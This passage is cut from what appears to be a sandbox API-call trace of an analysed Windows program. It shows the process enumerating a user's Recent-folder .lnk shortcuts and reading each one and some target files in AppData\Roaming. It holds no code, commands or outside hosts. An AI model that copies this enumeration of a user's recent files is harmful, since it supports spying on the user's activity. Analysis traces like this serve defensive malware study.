hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x3d5 [0076.699] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x3d5, lpOverlapped=0x0) returned 1 [0076.700] CloseHandle (hObject=0x3f8) returned 1 [0076.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Fxlxn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fxlxn.gif"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.700] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x95d9 [0076.700] CloseHandle (hObject=0x3f8) returned 1 [0076.700] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d45ea40, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9d45ea40, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9d45ea40, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xed7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FZYI0v6_buDm-d9O.lnk", cAlternateFileName="FZYI0V~1.LNK")) returned 1 [0076.700] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Fxlxn.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.700] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk", len=0x5c | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk", len=0x5c | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", len=0x5b | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\FZYI0v6_buDm-d9O.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", len=0x5b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", len=0x5b | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk") returned 1 [0076.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzyi0v6_budm-d9o.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.701] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xed7 [0076.701] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c628, nNumberOfBytesToRead=0xed7, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c628*, lpNumberOfBytesRead=0x18e2f8*=0xed7, lpOverlapped=0x0) returned 1 [0076.702] CloseHandle (hObject=0x3f8) returned 1 [0076.702] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.702] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb25500, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9cb25500, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9cb25500, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xf0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="g5F7NFHxCw.lnk", cAlternateFileName="G5F7NF~1.LNK")) returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FZYI0v6_buDm-d9O.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk", len=0x56 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk", len=0x56 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", len=0x55 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\g5F7NFHxCw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", len=0x55 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk") returned 1 [0076.702] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk") returned 1 [0076.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f7nfhxcw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.703] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0xf0c [0076.703] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c67c, nNumberOfBytesToRead=0xf0c, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c67c*, lpNumberOfBytesRead=0x18e2f8*=0xf0c, lpOverlapped=0x0) returned 1 [0076.703] CloseHandle (hObject=0x3f8) returned 1 [0076.703] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.704] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de0a3a0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9de0a3a0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9de0a3a0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x0, cFileName="G75P.lnk", cAlternateFileName="")) returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5F7NFHxCw.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk", len=0x50 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk", len=0x50 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", len=0x4f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\G75P.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", len=0x4f | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk") returned 1 [0076.704] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", len=0x4f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk") returned 1 [0076.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g75p.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.704] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x221 [0076.704] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5a4, nNumberOfBytesToRead=0x221, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5a4*, lpNumberOfBytesRead=0x18e2f8*=0x221, lpOverlapped=0x0) returned 1 [0076.705] CloseHandle (hObject=0x3f8) returned 1 [0076.705] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.705] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2f3100, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e2f3100, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e2f3100, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x0, dwReserved1=0x0, cFileName="gIN4UnQrPywWhHMpL31.ots.lnk", cAlternateFileName="GIN4UN~1.LNK")) returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\G75P.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x63 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x63 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x62 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gIN4UnQrPywWhHMpL31.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x62 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x62 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.705] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", len=0x62 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk") returned 1 [0076.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\gin4unqrpywwhhmpl31.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.706] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x41f [0076.706] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c5f4, nNumberOfBytesToRead=0x41f, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c5f4*, lpNumberOfBytesRead=0x18e2f8*=0x41f, lpOverlapped=0x0) returned 1 [0076.707] CloseHandle (hObject=0x3f8) returned 1 [0076.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\gIN4UnQrPywWhHMpL31.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\gin4unqrpywwhhmpl31.ots"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0076.707] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e348 | out: lpFileSizeHigh=0x18e348*=0x0) returned 0x7ed9 [0076.707] CloseHandle (hObject=0x3f8) returned 1 [0076.707] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be59ec0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9e1e8760, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9e1e8760, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x1387, dwReserved0=0x0, dwReserved1=0x0, cFileName="gLb9EGvUD.lnk", cAlternateFileName="GLB9EG~1.LNK")) returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gIN4UnQrPywWhHMpL31.ots.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk") returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e344*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk", len=0x55 | out: pbstr=0x18e344*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk") returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk", len=0x55 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk") returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", len=0x54 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk") returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gLb9EGvUD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk") returned 1 [0076.707] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", len=0x54 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk") returned 1 [0076.708] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", len=0x54 | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk") returned 1 [0076.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\glb9egvud.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x3f8 [0076.708] GetFileSize (in: hFile=0x3f8, lpFileSizeHigh=0x18e2fc | out: lpFileSizeHigh=0x18e2fc*=0x0) returned 0x1387 [0076.708] ReadFile (in: hFile=0x3f8, lpBuffer=0x455c66c, nNumberOfBytesToRead=0x1387, lpNumberOfBytesRead=0x18e2f8, lpOverlapped=0x0 | out: lpBuffer=0x455c66c*, lpNumberOfBytesRead=0x18e2f8*=0x1387, lpOverlapped=0x0) returned 1 [0076.708] CloseHandle (hObject=0x3f8) returned 1 [0076.709] CreateFileW (lpFileName="", dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.709] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e3fc | out: lpFindFileData=0x18e3fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc44b80, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x9bc44b80, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9bc44b80, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0xa7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gsjZHHkpLbVJkW1Clgz.lnk", cAlternateFileName="GSJZHH~1.LNK")) returned 1 [0076.709] SysReAllocStringLen (in: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gLb9EGvUD.lnk", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk", len=0x5f | out: pbstr=0x18e664*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\\\gsjZHHkpLbVJkW1Clgz.lnk") returned 1 [0076.709] SysReAllocStringLen (in: 